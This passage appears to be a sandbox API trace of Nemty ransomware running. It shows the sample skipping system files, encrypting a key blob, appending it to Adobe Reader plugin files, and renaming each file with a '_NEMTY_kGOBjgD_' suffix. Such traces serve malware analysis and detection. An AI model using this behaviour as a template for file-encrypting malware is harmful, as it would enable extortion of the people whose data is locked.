lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="programdata") returned -1 [0191.088] lstrcmpiW (lpString1="Mcimpp.ITA", lpString2="appdata") returned 1 [0191.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ITA", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.ITA", lpUsedDefaultChar=0x0) returned 10 [0191.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ITA", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.ITA", lpUsedDefaultChar=0x0) returned 10 [0191.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ITA", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.ITA", lpUsedDefaultChar=0x0) returned 10 [0191.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.089] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.ITA", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.ITA", lpUsedDefaultChar=0x0) returned 10 [0191.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.089] Sleep (dwMilliseconds=0x5) [0191.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x258cd070, dwHighDateTime=0x1d561e8)) [0191.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x258cd070, dwHighDateTime=0x1d561e8)) [0191.099] GetLastError () returned 0x0 [0191.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.099] GetLastError () returned 0x0 [0191.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.099] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.099] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.099] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.100] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="KOXZMizLBIdbbr1ezBQr5WXgkt8bVyLSx2A4ehdKBg8zxFJFoPB2eVvEjB/bbA3h\r\nuvZCFMpBZb1T5WA1J90kcuq1Q5hZDeUBJcsfoC1WHmFj3h63YmSSARIU1vB3XUTu\r\nX4IbqfCiYl+ouJHHrr0cvkr2ARGTeQyG6B5cUs3Io9pUGLBoumAJ+FIyRM1e+muS\r\nVVZLBbIlbGIY23yqV9LsescfucSSjC+c20/897wudzZpkEM/qx4pJ4UWBCEaiILH\r\nWaKvQhCuoLNC/BBXYia3dU5CjeZiu1izAv6P6ESgbnW8HZWORJfocjWzF8NF+RUI\r\nQ8IRqkavGFSLXPZlxDQCdA==\r\n", pcchString=0x653e29c) returned 1 [0191.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.100] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=8192) returned 1 [0191.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2000) returned 0x6352c48 [0191.100] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.100] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x2000, lpOverlapped=0x0) returned 1 [0191.102] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.102] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x2000, lpOverlapped=0x0) returned 1 [0191.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.102] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2000 [0191.103] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.103] CloseHandle (hObject=0x2f0) returned 1 [0191.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.103] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.103] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.103] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.103] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.ita"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.ITA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.ita._nemty_kgobjgd_")) returned 1 [0191.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.104] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0191.104] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.JPN", cAlternateFileName="")) returned 1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2=".") returned 1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="..") returned 1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="...") returned 1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="windows") returned -1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="$RECYCLE.BIN") returned 1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="rsa") returned -1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="NTDETECT.COM") returned -1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="ntldr") returned -1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="MSDOS.SYS") returned -1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="IO.SYS") returned 1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="boot.ini") returned 1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="boot.ini") returned 1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="ntuser.dat") returned -1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="desktop.ini") returned 1 [0191.104] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="CONFIG.SYS") returned 1 [0191.105] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="RECYCLER") returned -1 [0191.105] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="BOOTSECT.BAK") returned 1 [0191.105] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="bootmgr") returned 1 [0191.105] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="programdata") returned -1 [0191.105] lstrcmpiW (lpString1="Mcimpp.JPN", lpString2="appdata") returned 1 [0191.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.JPN", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.JPN", lpUsedDefaultChar=0x0) returned 10 [0191.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.JPN", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.JPN", lpUsedDefaultChar=0x0) returned 10 [0191.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.JPN", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.JPN", lpUsedDefaultChar=0x0) returned 10 [0191.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0191.105] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.JPN", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.JPN", lpUsedDefaultChar=0x0) returned 10 [0191.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0191.105] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.105] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0191.105] Sleep (dwMilliseconds=0x5) [0191.113] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x258f31d0, dwHighDateTime=0x1d561e8)) [0191.113] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x258f31d0, dwHighDateTime=0x1d561e8)) [0191.113] GetLastError () returned 0x0 [0191.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.113] GetLastError () returned 0x0 [0191.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.114] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.114] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.114] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0191.114] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="V5cORxw64+5jk1B7rVOS0IqrNV+QUBjdSuStsImRHw+El7q0xAivNG3UfcbasxAZ\r\nuDinNpru9fDUCRCPKMRCsOVCS3ir+Zrh13TTMT9sSTAtgsdbFEdq1vrZTAUP6NdU\r\neSKClEXCMWNxbtiQJHJC81h+81BkeNlw6++Hu2EXaj5DzegWT7GU6OK3R+ne5bKc\r\n+/AqtK/z87C9mW0V/FngHld080+2UZ6mWaa5rhsRaTQb+zW+Jo85vt+TgHDncgTE\r\nHoN+ZRHtLbDw8D7csvfLFoQ6VawABYZ8TuxGwcTFaxUwuJMx3qrS51RRFd2Insmw\r\niGQNW6/mBJB6Yud7fL6AJQ==\r\n", pcchString=0x653e29c) returned 1 [0191.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0191.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.114] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.114] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=7168) returned 1 [0191.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1c00) returned 0x6352c48 [0191.115] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.115] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x1c00, lpOverlapped=0x0) returned 1 [0191.116] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.117] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x1c00, lpOverlapped=0x0) returned 1 [0191.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0191.117] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=7168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1c00 [0191.117] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.117] CloseHandle (hObject=0x2f0) returned 1 [0191.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0191.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.117] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0191.117] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0191.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0191.117] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.117] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Mcimpp.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\mcimpp.jpn._nemty_kgobjgd_")) returned 1 [0191.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0191.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0191.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.119] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0191.119] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.KOR", cAlternateFileName="")) returned 1 [0191.119] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2=".") returned 1 [0191.119] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="..") returned 1 [0191.119] lstrcmpiW (lpString1="Mcimpp.KOR", lpString2="...") returned 1 [0191.119] lstrcmpiW 